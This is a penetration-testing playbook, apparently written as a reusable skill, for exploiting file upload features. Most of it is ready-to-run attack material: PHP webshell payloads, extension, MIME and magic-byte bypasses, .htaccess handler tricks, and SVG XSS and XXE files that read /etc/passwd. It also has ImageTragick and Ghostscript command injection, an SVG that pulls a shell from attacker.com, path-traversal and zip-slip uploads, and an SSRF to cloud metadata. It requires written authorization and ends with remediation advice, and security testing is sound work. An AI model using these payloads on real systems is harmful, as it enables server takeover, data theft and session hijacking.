Exploiting File Upload Vulnerabilities
When to Use
- During authorized penetration tests when the application allows users to upload files (avatars, documents, images, attachments)
- When testing file processing features (image resizing, document conversion, CSV/XML import)
- For assessing applications with rich media upload (profile pictures, galleries, file managers)
- When evaluating APIs with multipart form data endpoints
- During security assessments of cloud storage integrations (S3 pre-signed URLs, Azure Blob)
Critical: Payload Matrix and Bypasses (checklist-derived)
Extension bypass matrix (PHP/ASP/JSP targets)
shell.php shell.php5 shell.phtml
shell.pHp shell.php.jpg shell.php%00.jpg # null byte (older PHP/ASP)
shell.php;.jpg shell.php/ shell.php.... # trailing dots (Windows strips)
shell.asp;.jpg shell.aspx shell.jsp
shell.svg shell.xml shell.html
- Double extension:
shell.php.jpg(and reverseshell.jpg.php). - Case toggling:
.pHp,.PHP,.Phpto dodge case-sensitive blocklists. - Trailing chars (Windows): dots/spaces
shell.php.,shell.phpget trimmed on save and execute. - Path/parser confusion:
shell.php;.jpg,shell.php/,shell.php%00.jpg.
Content-Type spoof
# Send a PHP body but declare an image MIME type
Content-Type: image/png (or image/jpeg, image/gif)
<?php system($_GET["cmd"]); ?>
Magic-byte prefixing (pass content sniffing)
GIF89a<?php system($_GET["cmd"]); ?> # GIF magic + PHP
\xFF\xD8\xFF\xE0 + <?php ... ?> # JPEG magic + PHP
\x89PNG\r\n\x1a\n + <?php ... ?> # PNG magic + PHP
Polyglots & handler-enabling uploads
- Polyglot files: GIFAR (GIF+JAR), phar-jpg (valid JPEG that is also a PHP phar) — valid image AND executable.
- .htaccess (Apache): upload
AddType application/x-httpd-php .xyzthen uploadshell.xyz. - web.config (IIS): upload to enable handler mapping / inline
<%...%>execution.
SVG / image-library exploits
# SVG stored XSS
<svg xmlns="http://www.w3.org/2000/svg"
# SVG XXE / SSRF
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg><text>&xxe;</text></svg>
# ImageTragick / ImageMagick MVG/MSL (CVE-2016-3714)
fill 'url(https://x"|id > /tmp/pwned")' # inside an .mvg/.msl uploaded as image
Path traversal / archive tricks in the filename
filename=../../../var/www/html/shell.php # traversal in upload path
filename=..%2f..%2f..%2fshell.php # URL-encoded
filename=..%252f..%252fshell.php # double-encoded
zip-slip: archive entry "../../shell.php" # writes outside extract dir
Confirmation
- Capture the uploaded file URL from the response (JSON
url/path, redirect, or by enumerating/uploads,/media,/files). - Request the file directly and check behavior: code execution (e.g.,
?cmd=idreturns command output), or for SVG/HTML open it and confirm script runs. - Check the served
Content-Type/Content-Disposition—text/htmlorx-httpd-php(noattachment) means the payload will execute rather than download.
Prerequisites
- Authorization: Written penetration testing agreement including upload testing scope
- curl: For crafting multipart upload requests
- exiftool: For metadata injection (
apt install libimage-exiftool-perl) - Burp Suite: For intercepting and modifying upload requests
- Weevely/phpggc: For generating PHP webshells and deserialization payloads
- ImageMagick test images: For ImageTragick exploitation
- Knowledge of target stack: PHP, ASP.NET, Java, Node.js — determines viable shell extensions
Workflow
Step 1: Identify Upload Functionality and Map Restrictions
Enumerate all upload endpoints and understand validation mechanisms.
# Find upload endpoints by crawling
katana -u https://target.example.com -d 3 | grep -iE "upload|file|attach|import|avatar|image|media"
# Common upload endpoints:
# /upload, /api/upload, /api/v1/files, /media/upload
# /profile/avatar, /settings/photo, /documents/import
# /api/attachments, /admin/import, /editor/images
# Test basic upload and observe response
curl -v -X POST \
-H "Authorization: Bearer $TOKEN" \
-F "file=@test.txt" \
"https://target.example.com/api/upload"
# Check what file types are accepted
for ext in php php3 php5 phtml pht phps php7 \
asp aspx ashx asmx svc \
jsp jspx jsw jsv \
py pl rb cgi sh \
svg html htm xml \
pdf docx xlsx csv; do
echo "test" > "test.$ext"
echo -n "$ext -> "
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@test.$ext" \
"https://target.example.com/api/upload"
echo
rm -f "test.$ext"
done
Step 2: Bypass Extension Filters
When the server blocks dangerous extensions, use bypass techniques.
# === EXTENSION BYPASS TECHNIQUES ===
# Double extension
cp shell.php shell.php.jpg
curl -F "file=@shell.php.jpg" "$UPLOAD_URL"
# Null byte injection (older PHP/ASP)
cp shell.php "shell.php%00.jpg"
curl -F "file=@shell.php%00.jpg" "$UPLOAD_URL"
# Case manipulation
cp shell.php shell.pHp
cp shell.php shell.PHP
cp shell.php shell.Php
for f in shell.pHp shell.PHP shell.Php; do
echo -n "$f -> "
curl -s -o /dev/null -w "%{http_code}" -F "file=@$f" "$UPLOAD_URL"
echo
done
# Alternative PHP extensions
for ext in php3 php4 php5 php7 phtml pht phps phar; do
cp shell.php "shell.$ext"
echo -n "$ext -> "
curl -s -o /dev/null -w "%{http_code}" -F "file=@shell.$ext" "$UPLOAD_URL"
echo
done
# Trailing characters
cp shell.php "shell.php."
cp shell.php "shell.php "
cp shell.php "shell.php::$DATA" # Windows NTFS ADS
# Content-Type bypass (change MIME while keeping .php)
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
-F "file=@shell.php;type=image/jpeg" \
"$UPLOAD_URL"
# .htaccess upload (Apache) — make .xyz execute as PHP
echo "AddType application/x-httpd-php .xyz" > .htaccess
curl -F "file=@.htaccess" "$UPLOAD_URL"
echo '<?php system($_GET["cmd"]); ?>' > shell.xyz
curl -F "file=@shell.xyz" "$UPLOAD_URL"
Step 3: Exploit Content-Type and Magic Byte Validation
Bypass server-side content validation by manipulating headers and file internals.
# === MAGIC BYTE INJECTION ===
# Create PHP shell with JPEG magic bytes (FFD8FF)
printf '\xFF\xD8\xFF\xE0' > polyglot.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.jpg
curl -F "file=@polyglot.php.jpg;type=image/jpeg" "$UPLOAD_URL"
# Create PHP shell with PNG magic bytes (89504E47)
printf '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > polyglot.php.png
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.png
# Create PHP shell with GIF magic bytes (GIF89a)
echo -n 'GIF89a' > polyglot.php.gif
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.gif
curl -F "file=@polyglot.php.gif;type=image/gif" "$UPLOAD_URL"
# Inject PHP into EXIF data of real image
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit-image.jpg
mv legit-image.jpg shell.php.jpg
curl -F "file=@shell.php.jpg" "$UPLOAD_URL"
# SVG with embedded XSS (Stored XSS via upload)
cat > xss.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg"
<rect width="100" height="100"/>
</svg>
EOF
curl -F "file=@xss.svg;type=image/svg+xml" "$UPLOAD_URL"
# SVG with SSRF via XXE
cat > xxe.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
EOF
curl -F "file=@xxe.svg;type=image/svg+xml" "$UPLOAD_URL"
Step 4: Path Traversal via Filename
Attempt to write files outside the upload directory.
# Path traversal in filename header
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
-F "file=@shell.php;filename=../../../var/www/html/shell.php" \
"$UPLOAD_URL"
# URL-encoded traversal
curl -X POST \
-F "file=@shell.php;filename=..%2F..%2F..%2Fshell.php" \
"$UPLOAD_URL"
# Double URL-encoded
curl -X POST \
-F "file=@shell.php;filename=..%252F..%252F..%252Fshell.php" \
"$UPLOAD_URL"
# Backslash variant (Windows servers)
curl -X POST \
-F "file=@shell.php;filename=..\\..\\..\\inetpub\\wwwroot\\shell.aspx" \
"$UPLOAD_URL"
# Overwrite critical files
curl -X POST \
-F "file=@malicious.htaccess;filename=.htaccess" \
"$UPLOAD_URL"
Step 5: Exploit Image Processing Libraries
Target server-side image processing (ImageMagick, GD, Pillow).
# ImageTragick (CVE-2016-3714)
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
EOF
curl -F "file=@exploit.mvg;filename=exploit.jpg" "$UPLOAD_URL"
# ImageMagick SVG shell
cat > exploit.svg << 'EOF'
<image>
<read filename="ephemeral:/tmp/test"/>
<write filename="/tmp/shell.php"/>
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://attacker.com/shell.php" />
</svg>
</image>
EOF
# Ghostscript exploitation (PDF/EPS processing)
cat > exploit.eps << 'EOF'
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
EOF
curl -F "file=@exploit.eps;filename=document.eps" "$UPLOAD_URL"
# Zip Slip (archive extraction traversal)
# Create a zip with path traversal entries
python3 -c "
import zipfile, io
z = zipfile.ZipFile('zipslip.zip', 'w')
z.writestr('../../../tmp/evil.txt', 'pwned')
z.close()
"
curl -F "file=@zipslip.zip" "$UPLOAD_URL"
Step 6: Verify Uploaded Webshell Execution
After successful upload, locate and execute the shell.
# Common upload directories to check
for dir in /uploads /media /images /files /attachments \
/static/uploads /assets/uploads /content/images \
/wp-content/uploads /user/files; do
echo -n "$dir/shell.php -> "
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com${dir}/shell.php"
echo
done
# If upload returns file URL, test direct execution
UPLOAD_URL=$(curl -s -F "file=@shell.php.jpg" "$UPLOAD_URL" | jq -r '.url // .path // .file_url')
echo "Uploaded to: $UPLOAD_URL"
curl -s "https://target.example.com${UPLOAD_URL}?cmd=id"
# Test if uploaded file is served with correct content type
curl -sI "https://target.example.com/uploads/shell.php" | grep -i content-type
# If content-type is text/html or application/x-httpd-php → code will execute
# Minimal PHP webshell for proof-of-concept (READ-ONLY commands only)
echo '<?php echo shell_exec("id && hostname && cat /etc/hostname"); ?>' > poc.php
Key Concepts
| Concept | Description |
|---|---|
| Unrestricted File Upload | Application accepts any file without validation — direct RCE risk |
| Extension Blocklist | Server blocks known dangerous extensions but can be bypassed with alternatives |
| MIME Type Validation | Checking Content-Type header only — easily spoofed by the client |
| Magic Byte Validation | Checking file header bytes — bypassed with polyglot files |
| Polyglot File | A file that is valid in multiple formats simultaneously (e.g., valid JPEG + valid PHP) |
| Path Traversal Upload | Writing files outside the intended upload directory via filename manipulation |
| ImageTragick | CVE-2016-3714 — ImageMagick command injection via crafted image files |
| Zip Slip | Archive extraction vulnerability allowing file writes outside the target directory |
| Race Condition Upload | File is briefly accessible before server-side validation deletes it |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept and modify upload requests, change Content-Type and filename |
| exiftool | Inject payloads into image EXIF metadata |
| Weevely | Generate obfuscated PHP webshells that evade signature detection |
| phpggc | PHP deserialization gadget chain generator for upload+deserialize chains |
| fuxploider | Automated file upload vulnerability scanner |
| upload-scanner (Burp extension) | Automated upload bypass testing within Burp Suite |
Common Scenarios
Scenario 1: Avatar Upload to RCE
Profile avatar upload accepts JPEG files. By uploading a polyglot file with GIF89a magic bytes and a .php.jpg double extension, the server stores it as PHP. Accessing the URL directly triggers PHP execution, achieving RCE.
Scenario 2: SVG Upload to Stored XSS
Application allows SVG uploads for user icons. An SVG containing onload="alert(document.cookie)" executes JavaScript in every user's browser who views the icon, enabling session hijacking.
Scenario 3: ZIP Import with Path Traversal
A bulk import feature extracts uploaded ZIP files. A crafted ZIP with ../../shell.php entries writes a webshell to the web root outside the upload directory.
Scenario 4: Document Converter SSRF
A PDF-from-URL feature uses server-side rendering. Uploading an HTML file with <iframe src="http://169.254.169.254/latest/meta-data/"> causes the renderer to fetch and embed cloud metadata in the generated PDF.
Output Format
## File Upload Vulnerability Finding
**Vulnerability**: Unrestricted File Upload → Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: POST /api/profile/avatar - `file` parameter
**OWASP Category**: A04:2021 - Insecure Design
### Reproduction Steps
1. Create polyglot PHP/JPEG: printf '\xFF\xD8\xFF\xE0' > shell.php.jpg && echo '<?php system("id"); ?>' >> shell.php.jpg
2. Upload via POST /api/profile/avatar with Content-Type: image/jpeg
3. Server returns upload path: /uploads/avatars/shell.php.jpg
4. Access https://target.example.com/uploads/avatars/shell.php.jpg → PHP executes
5. Command output: uid=33(www-data) gid=33(www-data)
### Impact
- Full remote code execution as www-data user
- Read access to application source code and configuration
- Database credential extraction from config files
- Potential lateral movement to internal services
### Recommendation
1. Validate file content using magic bytes AND re-encode images (strip metadata)
2. Use allowlist for file extensions (not blocklist)
3. Store uploads outside the web root with randomized non-guessable filenames
4. Serve uploads from a separate domain/CDN with no-execute headers
5. Set Content-Disposition: attachment for all uploaded files
6. Implement Content-Security-Policy to prevent inline script execution from SVG